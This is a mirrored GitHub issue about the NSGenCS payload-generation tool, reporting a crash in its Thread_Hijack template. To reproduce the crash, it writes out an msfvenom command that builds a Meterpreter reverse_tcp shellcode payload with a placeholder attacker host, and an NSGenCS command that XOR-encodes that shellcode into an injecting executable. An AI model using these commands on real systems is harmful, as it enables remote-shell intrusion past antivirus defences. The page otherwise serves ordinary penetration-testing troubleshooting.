GithubHelp home page GithubHelp logo

nsgencs's People

Contributors

t3hbb avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar

nsgencs's Issues

Unhandled Exception when using Thread_Hijack template

Hi,

Environment:
Windows 10 x64
Python 3.10.2
.NET SDKs installed:
6.0.201 [C:\Program Files\dotnet\sdk]

Steps to reproduce the error

Unhandled Exception: System.IndexOutOfRangeException: Index was outside the bounds of the array.
at ThreadHijack.Main(String[] args)

  1. Use msfvenom to create a .cs file
    msfvenom -p windows/x64/meterpreter/reverse_tcp -f csharp LPORT=4444 LHOST=x.x.x.x -o meterpreter.cs

  2. The template file in the Thread_Hijack directory appeared to be modified already. When I searched for payload it was not found in the file.

  3. Ran the following
    python3 NSGenCS.py -file meterpreter.cs -method xor -key 0xbb -template Thread_Hijack

> Creating encoded shellcode from CS file
> Generating payload
> Cleanup
Microsoft (R) Build Engine version 17.1.0+ae57d105c for .NET
Copyright (C) Microsoft Corporation. All rights reserved.

  Determining projects to restore...
  Restored C:\Users\mark\pentest\NSGenCS\Thread_Hijack\Payload.csproj (in 212 ms).
  Payload -> C:\Users\mark\pentest\NSGenCS\Thread_Hijack\bin\Release\net45\win10-x64\Payload.exe
  Payload -> C:\Users\mark\pentest\NSGenCS\Thread_Hijack\bin\Release\net45\win10-x64\publish\
        1 file(s) copied.

If you didn't see a bunch of red lines before this message, you should see payload.exe now :)

C:\Users\mark\pentest\NSGenCS>payload.exe notepad

Unhandled Exception: System.IndexOutOfRangeException: Index was outside the bounds of the array.
   at ThreadHijack.Main(String[] args)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.